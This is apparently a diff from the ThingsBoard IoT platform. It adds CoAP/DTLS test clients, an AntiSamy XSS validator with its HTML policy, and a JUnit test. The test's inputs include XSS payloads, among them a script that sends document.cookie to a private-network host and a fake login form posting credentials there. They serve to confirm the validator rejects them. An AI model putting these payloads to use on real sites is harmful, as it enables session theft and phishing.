import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.URI; |
||||
|
import java.net.URISyntaxException; |
||||
|
import java.security.GeneralSecurityException; |
||||
|
import java.security.Principal; |
||||
|
import java.security.cert.Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.concurrent.ExecutorService; |
||||
|
import java.util.concurrent.Executors; |
||||
|
|
||||
|
public class SecureClientNoAuth { |
||||
|
|
||||
|
private final DTLSConnector dtlsConnector; |
||||
|
private ExecutorService executor = Executors.newFixedThreadPool(1); |
||||
|
private CoapClient coapClient; |
||||
|
|
||||
|
public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
this.dtlsConnector = dtlsConnector; |
||||
|
this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys); |
||||
|
} |
||||
|
|
||||
|
public void test() { |
||||
|
executor.submit(() -> { |
||||
|
try { |
||||
|
while (!Thread.interrupted()) { |
||||
|
CoapResponse response = null; |
||||
|
try { |
||||
|
response = coapClient.get(); |
||||
|
} catch (ConnectorException | IOException e) { |
||||
|
System.err.println("Error occurred while sending request: " + e); |
||||
|
System.exit(-1); |
||||
|
} |
||||
|
if (response != null) { |
||||
|
|
||||
|
System.out.println(response.getCode() + " - " + response.getCode().name()); |
||||
|
System.out.println(response.getOptions()); |
||||
|
System.out.println(response.getResponseText()); |
||||
|
System.out.println(); |
||||
|
System.out.println("ADVANCED:"); |
||||
|
EndpointContext context = response.advanced().getSourceContext(); |
||||
|
Principal identity = context.getPeerIdentity(); |
||||
|
if (identity != null) { |
||||
|
System.out.println(context.getPeerIdentity()); |
||||
|
} else { |
||||
|
System.out.println("anonymous"); |
||||
|
} |
||||
|
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
||||
|
System.out.println(Utils.prettyPrint(response)); |
||||
|
} else { |
||||
|
System.out.println("No response received."); |
||||
|
} |
||||
|
Thread.sleep(5000); |
||||
|
} |
||||
|
} catch (Exception e) { |
||||
|
System.out.println("Error occurred while sending COAP requests."); |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); |
||||
|
CoapClient client = new CoapClient(uri); |
||||
|
CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); |
||||
|
builder.setConnector(dtlsConnector); |
||||
|
|
||||
|
client.setEndpoint(builder.build()); |
||||
|
return client; |
||||
|
} |
||||
|
|
||||
|
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { |
||||
|
return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
||||
|
} |
||||
|
|
||||
|
public static void main(String[] args) throws URISyntaxException { |
||||
|
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " + |
||||
|
"host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); |
||||
|
|
||||
|
String host = args[0]; |
||||
|
int port = Integer.parseInt(args[1]); |
||||
|
String accessToken = args[2]; |
||||
|
String clientKeys = args[7]; |
||||
|
String sharedKeys = args[8]; |
||||
|
|
||||
|
String keyStoreUriPath = args[3]; |
||||
|
String keyStoreAlias = args[4]; |
||||
|
String trustedAliasPattern = args[5]; |
||||
|
String keyStorePassword = args[6]; |
||||
|
|
||||
|
|
||||
|
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); |
||||
|
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); |
||||
|
DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); |
||||
|
SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys); |
||||
|
client.test(); |
||||
|
} |
||||
|
|
||||
|
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { |
||||
|
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
||||
|
try { |
||||
|
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( |
||||
|
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); |
||||
|
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
||||
|
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); |
||||
|
trustBuilder.setTrustedCertificates(trustedCertificates); |
||||
|
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
||||
|
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); |
||||
|
} catch (GeneralSecurityException e) { |
||||
|
System.err.println("certificates are invalid!"); |
||||
|
throw new IllegalArgumentException(e.getMessage()); |
||||
|
} catch (IOException e) { |
||||
|
System.err.println("certificates are missing!"); |
||||
|
throw new IllegalArgumentException(e.getMessage()); |
||||
|
} |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,144 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap.client; |
||||
|
|
||||
|
import org.eclipse.californium.core.CoapClient; |
||||
|
import org.eclipse.californium.core.CoapResponse; |
||||
|
import org.eclipse.californium.core.Utils; |
||||
|
import org.eclipse.californium.core.network.CoapEndpoint; |
||||
|
import org.eclipse.californium.elements.DtlsEndpointContext; |
||||
|
import org.eclipse.californium.elements.EndpointContext; |
||||
|
import org.eclipse.californium.elements.exception.ConnectorException; |
||||
|
import org.eclipse.californium.elements.util.SslContextUtil; |
||||
|
import org.eclipse.californium.scandium.DTLSConnector; |
||||
|
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.URI; |
||||
|
import java.net.URISyntaxException; |
||||
|
import java.security.GeneralSecurityException; |
||||
|
import java.security.Principal; |
||||
|
import java.security.cert.Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.concurrent.ExecutorService; |
||||
|
import java.util.concurrent.Executors; |
||||
|
|
||||
|
public class SecureClientX509 { |
||||
|
|
||||
|
private final DTLSConnector dtlsConnector; |
||||
|
private ExecutorService executor = Executors.newFixedThreadPool(1); |
||||
|
private CoapClient coapClient; |
||||
|
|
||||
|
public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
this.dtlsConnector = dtlsConnector; |
||||
|
this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys); |
||||
|
} |
||||
|
|
||||
|
public void test() { |
||||
|
executor.submit(() -> { |
||||
|
try { |
||||
|
while (!Thread.interrupted()) { |
||||
|
CoapResponse response = null; |
||||
|
try { |
||||
|
response = coapClient.get(); |
||||
|
} catch (ConnectorException | IOException e) { |
||||
|
System.err.println("Error occurred while sending request: " + e); |
||||
|
System.exit(-1); |
||||
|
} |
||||
|
if (response != null) { |
||||
|
|
||||
|
System.out.println(response.getCode() + " - " + response.getCode().name()); |
||||
|
System.out.println(response.getOptions()); |
||||
|
System.out.println(response.getResponseText()); |
||||
|
System.out.println(); |
||||
|
System.out.println("ADVANCED:"); |
||||
|
EndpointContext context = response.advanced().getSourceContext(); |
||||
|
Principal identity = context.getPeerIdentity(); |
||||
|
if (identity != null) { |
||||
|
System.out.println(context.getPeerIdentity()); |
||||
|
} else { |
||||
|
System.out.println("anonymous"); |
||||
|
} |
||||
|
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
||||
|
System.out.println(Utils.prettyPrint(response)); |
||||
|
} else { |
||||
|
System.out.println("No response received."); |
||||
|
} |
||||
|
Thread.sleep(5000); |
||||
|
} |
||||
|
} catch (Exception e) { |
||||
|
System.out.println("Error occurred while sending COAP requests."); |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys)); |
||||
|
CoapClient client = new CoapClient(uri); |
||||
|
CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); |
||||
|
builder.setConnector(dtlsConnector); |
||||
|
|
||||
|
client.setEndpoint(builder.build()); |
||||
|
return client; |
||||
|
} |
||||
|
|
||||
|
private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) { |
||||
|
return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
||||
|
} |
||||
|
|
||||
|
public static void main(String[] args) throws URISyntaxException { |
||||
|
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " + |
||||
|
"host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); |
||||
|
|
||||
|
String host = args[0]; |
||||
|
int port = Integer.parseInt(args[1]); |
||||
|
String clientKeys = args[6]; |
||||
|
String sharedKeys = args[7]; |
||||
|
|
||||
|
String keyStoreUriPath = args[2]; |
||||
|
String keyStoreAlias = args[3]; |
||||
|
String trustedAliasPattern = args[4]; |
||||
|
String keyStorePassword = args[5]; |
||||
|
|
||||
|
|
||||
|
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); |
||||
|
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); |
||||
|
DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); |
||||
|
SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys); |
||||
|
client.test(); |
||||
|
} |
||||
|
|
||||
|
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { |
||||
|
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
||||
|
try { |
||||
|
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( |
||||
|
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); |
||||
|
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
||||
|
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); |
||||
|
trustBuilder.setTrustedCertificates(trustedCertificates); |
||||
|
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
||||
|
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); |
||||
|
} catch (GeneralSecurityException e) { |
||||
|
System.err.println("certificates are invalid!"); |
||||
|
throw new IllegalArgumentException(e.getMessage()); |
||||
|
} catch (IOException e) { |
||||
|
System.err.println("certificates are missing!"); |
||||
|
throw new IllegalArgumentException(e.getMessage()); |
||||
|
} |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,57 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.dao.service; |
||||
|
|
||||
|
import com.google.common.io.Resources; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
import org.owasp.validator.html.AntiSamy; |
||||
|
import org.owasp.validator.html.Policy; |
||||
|
import org.owasp.validator.html.PolicyException; |
||||
|
import org.owasp.validator.html.ScanException; |
||||
|
import org.thingsboard.server.common.data.validation.NoXss; |
||||
|
|
||||
|
import javax.validation.ConstraintValidator; |
||||
|
import javax.validation.ConstraintValidatorContext; |
||||
|
|
||||
|
@Slf4j |
||||
|
public class NoXssValidator implements ConstraintValidator<NoXss, Object> { |
||||
|
private static final AntiSamy xssChecker = new AntiSamy(); |
||||
|
private static Policy xssPolicy; |
||||
|
|
||||
|
@Override |
||||
|
public void initialize(NoXss constraintAnnotation) { |
||||
|
if (xssPolicy == null) { |
||||
|
try { |
||||
|
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); |
||||
|
} catch (Exception e) { |
||||
|
log.error("Failed to set xss policy: {}", e.getMessage()); |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { |
||||
|
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { |
||||
|
return true; |
||||
|
} |
||||
|
|
||||
|
try { |
||||
|
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; |
||||
|
} catch (ScanException | PolicyException e) { |
||||
|
return false; |
||||
|
} |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,162 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8" ?> |
||||
|
<!-- |
||||
|
|
||||
|
Copyright © 2016-2021 The Thingsboard Authors |
||||
|
|
||||
|
Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
you may not use this file except in compliance with the License. |
||||
|
You may obtain a copy of the License at |
||||
|
|
||||
|
http://www.apache.org/licenses/LICENSE-2.0 |
||||
|
|
||||
|
Unless required by applicable law or agreed to in writing, software |
||||
|
distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
See the License for the specific language governing permissions and |
||||
|
limitations under the License. |
||||
|
|
||||
|
--> |
||||
|
<anti-samy-rules> |
||||
|
|
||||
|
<directives> |
||||
|
<directive name="omitXmlDeclaration" value="true"/> |
||||
|
<directive name="omitDoctypeDeclaration" value="false"/> |
||||
|
<directive name="maxInputSize" value="100000"/> |
||||
|
<directive name="embedStyleSheets" value="false"/> |
||||
|
<directive name="useXHTML" value="true"/> |
||||
|
<directive name="formatOutput" value="true"/> |
||||
|
</directives> |
||||
|
|
||||
|
<common-regexps> |
||||
|
|
||||
|
<!-- |
||||
|
From W3C: |
||||
|
This attribute assigns a class name or set of class names to an |
||||
|
element. Any number of elements may be assigned the same class |
||||
|
name or names. Multiple class names must be separated by white |
||||
|
space characters. |
||||
|
--> |
||||
|
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
||||
|
|
||||
|
<!-- force non-empty with a '+' at the end instead of '*' |
||||
|
--> |
||||
|
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
||||
|
|
||||
|
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
||||
|
--> |
||||
|
|
||||
|
<!-- ([\p{L}/ 0-9&\#-.?=])* |
||||
|
--> |
||||
|
<regexp name="offsiteURL" |
||||
|
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
||||
|
</common-regexps> |
||||
|
|
||||
|
<common-attributes> |
||||
|
|
||||
|
<attribute name="lang" |
||||
|
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp value="[a-zA-Z]{2,20}"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="title" |
||||
|
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp name="htmlTitle"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="href" onInvalid="filterTag"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp name="onsiteURL"/> |
||||
|
<regexp name="offsiteURL"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="align" |
||||
|
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
||||
|
|
||||
|
<literal-list> |
||||
|
<literal value="center"/> |
||||
|
<literal value="left"/> |
||||
|
<literal value="right"/> |
||||
|
<literal value="justify"/> |
||||
|
<literal value="char"/> |
||||
|
</literal-list> |
||||
|
</attribute> |
||||
|
<attribute name="style" |
||||
|
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
||||
|
</common-attributes> |
||||
|
|
||||
|
<global-tag-attributes> |
||||
|
<attribute name="title"/> |
||||
|
<attribute name="lang"/> |
||||
|
<attribute name="style"/> |
||||
|
</global-tag-attributes> |
||||
|
|
||||
|
<tags-to-encode> |
||||
|
<tag>g</tag> |
||||
|
<tag>grin</tag> |
||||
|
</tags-to-encode> |
||||
|
|
||||
|
<tag-rules> |
||||
|
|
||||
|
<tag name="script" action="remove"/> |
||||
|
<tag name="noscript" action="remove"/> |
||||
|
<tag name="iframe" action="remove"/> |
||||
|
<tag name="frameset" action="remove"/> |
||||
|
<tag name="frame" action="remove"/> |
||||
|
<tag name="noframes" action="remove"/> |
||||
|
<tag name="head" action="remove"/> |
||||
|
<tag name="title" action="remove"/> |
||||
|
<tag name="base" action="remove"/> |
||||
|
<tag name="style" action="remove"/> |
||||
|
<tag name="link" action="remove"/> |
||||
|
<tag name="input" action="remove"/> |
||||
|
<tag name="textarea" action="remove"/> |
||||
|
|
||||
|
<tag name="br" action="remove"/> |
||||
|
|
||||
|
<tag name="p" action="remove"/> |
||||
|
<tag name="div" action="remove"/> |
||||
|
<tag name="span" action="remove"/> |
||||
|
<tag name="i" action="remove"/> |
||||
|
<tag name="b" action="remove"/> |
||||
|
<tag name="strong" action="remove"/> |
||||
|
<tag name="s" action="remove"/> |
||||
|
<tag name="strike" action="remove"/> |
||||
|
<tag name="u" action="remove"/> |
||||
|
<tag name="em" action="remove"/> |
||||
|
<tag name="blockquote" action="remove"/> |
||||
|
<tag name="tt" action="remove"/> |
||||
|
|
||||
|
<tag name="a" action="remove"/> |
||||
|
|
||||
|
<tag name="ul" action="remove"/> |
||||
|
<tag name="ol" action="remove"/> |
||||
|
<tag name="li" action="remove"/> |
||||
|
<tag name="dl" action="remove"/> |
||||
|
<tag name="dt" action="remove"/> |
||||
|
<tag name="dd" action="remove"/> |
||||
|
</tag-rules> |
||||
|
|
||||
|
<css-rules> |
||||
|
<property name="text-decoration" default="none" |
||||
|
description=""> |
||||
|
|
||||
|
<category-list> |
||||
|
<category value="visual"/> |
||||
|
</category-list> |
||||
|
|
||||
|
<literal-list> |
||||
|
<literal value="underline"/> |
||||
|
<literal value="overline"/> |
||||
|
<literal value="line-through"/> |
||||
|
</literal-list> |
||||
|
</property> |
||||
|
</css-rules> |
||||
|
</anti-samy-rules> |
||||
@ -0,0 +1,52 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.dao.service; |
||||
|
|
||||
|
import org.junit.jupiter.api.BeforeAll; |
||||
|
import org.junit.jupiter.params.ParameterizedTest; |
||||
|
import org.junit.jupiter.params.provider.ValueSource; |
||||
|
|
||||
|
import javax.validation.ConstraintValidatorContext; |
||||
|
|
||||
|
import static org.junit.jupiter.api.Assertions.assertFalse; |
||||
|
import static org.mockito.Mockito.mock; |
||||
|
|
||||
|
public class NoXssValidatorTest { |
||||
|
private static NoXssValidator validator; |
||||
|
|
||||
|
@BeforeAll |
||||
|
public static void beforeAll() { |
||||
|
validator = new NoXssValidator(); |
||||
|
validator.initialize(null); |
||||
|
} |
||||
|
|
||||
|
@ParameterizedTest |
||||
|
@ValueSource(strings = { |
||||
|
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", |
||||
|
"9090<body onload=alert('xsssss')>90909", |
||||
|
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", |
||||
|
"bambam<script>alert(document.cookie)</script>", |
||||
|
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", |
||||
|
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", |
||||
|
" <img src= \"http://site.com/\" > ", |
||||
|
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", |
||||
|
}) |
||||
|
public void testIsNotValid(String stringWithXss) { |
||||
|
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); |
||||
|
assertFalse(isValid); |
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,162 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8" ?> |
||||
|
<!-- |
||||
|
|
||||
|
Copyright © 2016-2021 The Thingsboard Authors |
||||
|
|
||||
|
Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
you may not use this file except in compliance with the License. |
||||
|
You may obtain a copy of the License at |
||||
|
|
||||
|
http://www.apache.org/licenses/LICENSE-2.0 |
||||
|
|
||||
|
Unless required by applicable law or agreed to in writing, software |
||||
|
distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
See the License for the specific language governing permissions and |
||||
|
limitations under the License. |
||||
|
|
||||
|
--> |
||||
|
<anti-samy-rules> |
||||
|
|
||||
|
<directives> |
||||
|
<directive name="omitXmlDeclaration" value="true"/> |
||||
|
<directive name="omitDoctypeDeclaration" value="false"/> |
||||
|
<directive name="maxInputSize" value="100000"/> |
||||
|
<directive name="embedStyleSheets" value="false"/> |
||||
|
<directive name="useXHTML" value="true"/> |
||||
|
<directive name="formatOutput" value="true"/> |
||||
|
</directives> |
||||
|
|
||||
|
<common-regexps> |
||||
|
|
||||
|
<!-- |
||||
|
From W3C: |
||||
|
This attribute assigns a class name or set of class names to an |
||||
|
element. Any number of elements may be assigned the same class |
||||
|
name or names. Multiple class names must be separated by white |
||||
|
space characters. |
||||
|
--> |
||||
|
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
||||
|
|
||||
|
<!-- force non-empty with a '+' at the end instead of '*' |
||||
|
--> |
||||
|
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
||||
|
|
||||
|
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
||||
|
--> |
||||
|
|
||||
|
<!-- ([\p{L}/ 0-9&\#-.?=])* |
||||
|
--> |
||||
|
<regexp name="offsiteURL" |
||||
|
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
||||
|
</common-regexps> |
||||
|
|
||||
|
<common-attributes> |
||||
|
|
||||
|
<attribute name="lang" |
||||
|
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp value="[a-zA-Z]{2,20}"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="title" |
||||
|
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp name="htmlTitle"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="href" onInvalid="filterTag"> |
||||
|
|
||||
|
<regexp-list> |
||||
|
<regexp name="onsiteURL"/> |
||||
|
<regexp name="offsiteURL"/> |
||||
|
</regexp-list> |
||||
|
</attribute> |
||||
|
|
||||
|
<attribute name="align" |
||||
|
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
||||
|
|
||||
|
<literal-list> |
||||
|
<literal value="center"/> |
||||
|
<literal value="left"/> |
||||
|
<literal value="right"/> |
||||
|
<literal value="justify"/> |
||||
|
<literal value="char"/> |
||||
|
</literal-list> |
||||
|
</attribute> |
||||
|
<attribute name="style" |
||||
|
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
||||
|
</common-attributes> |
||||
|
|
||||
|
<global-tag-attributes> |
||||
|
<attribute name="title"/> |
||||
|
<attribute name="lang"/> |
||||
|
<attribute name="style"/> |
||||
|
</global-tag-attributes> |
||||
|
|
||||
|
<tags-to-encode> |
||||
|
<tag>g</tag> |
||||
|
<tag>grin</tag> |
||||
|
</tags-to-encode> |
||||
|
|
||||
|
<tag-rules> |
||||
|
|
||||
|
<tag name="script" action="remove"/> |
||||
|
<tag name="noscript" action="remove"/> |
||||
|
<tag name="iframe" action="remove"/> |
||||
|
<tag name="frameset" action="remove"/> |
||||
|
<tag name="frame" action="remove"/> |
||||
|
<tag name="noframes" action="remove"/> |
||||
|
<tag name="head" action="remove"/> |
||||
|
<tag name="title" action="remove"/> |
||||
|
<tag name="base" action="remove"/> |
||||
|
<tag name="style" action="remove"/> |
||||
|
<tag name="link" action="remove"/> |
||||
|
<tag name="input" action="remove"/> |
||||
|
<tag name="textarea" action="remove"/> |
||||
|
|
||||
|
<tag name="br" action="remove"/> |
||||
|
|
||||
|
<tag name="p" action="remove"/> |
||||
|
<tag name="div" action="remove"/> |
||||
|
<tag name="span" action="remove"/> |
||||
|
<tag name="i" action="remove"/> |
||||
|
<tag name="b" action="remove"/> |
||||
|
<tag name="strong" action="remove"/> |
||||
|
<tag name="s" action="remove"/> |
||||
|
<tag name="strike" action="remove"/> |
||||
|
<tag name="u" action="remove"/> |
||||
|
<tag name="em" action="remove"/> |
||||
|
<tag name="blockquote" action="remove"/> |
||||
|
<tag name="tt" action="remove"/> |
||||
|
|
||||
|
<tag name="a" action="remove"/> |
||||
|
|
||||
|
<tag name="ul" action="remove"/> |
||||
|
<tag name="ol" action="remove"/> |
||||
|
<tag name="li" action="remove"/> |
||||
|
<tag name="dl" action="remove"/> |
||||
|
<tag name="dt" action="remove"/> |
||||
|
<tag name="dd" action="remove"/> |
||||
|
</tag-rules> |
||||
|
|
||||
|
<css-rules> |
||||
|
<property name="text-decoration" default="none" |
||||
|
description=""> |
||||
|
|
||||
|
<category-list> |
||||
|
<category value="visual"/> |
||||
|
</category-list> |
||||
|
|
||||
|
<literal-list> |
||||
|
<literal value="underline"/> |
||||
|
<literal value="overline"/> |
||||
|
<literal value="line-through"/> |
||||
|
</literal-list> |
||||
|
</property> |
||||
|
</css-rules> |
||||
|
</anti-samy-rules> |
||||
Loading…
Reference in new issue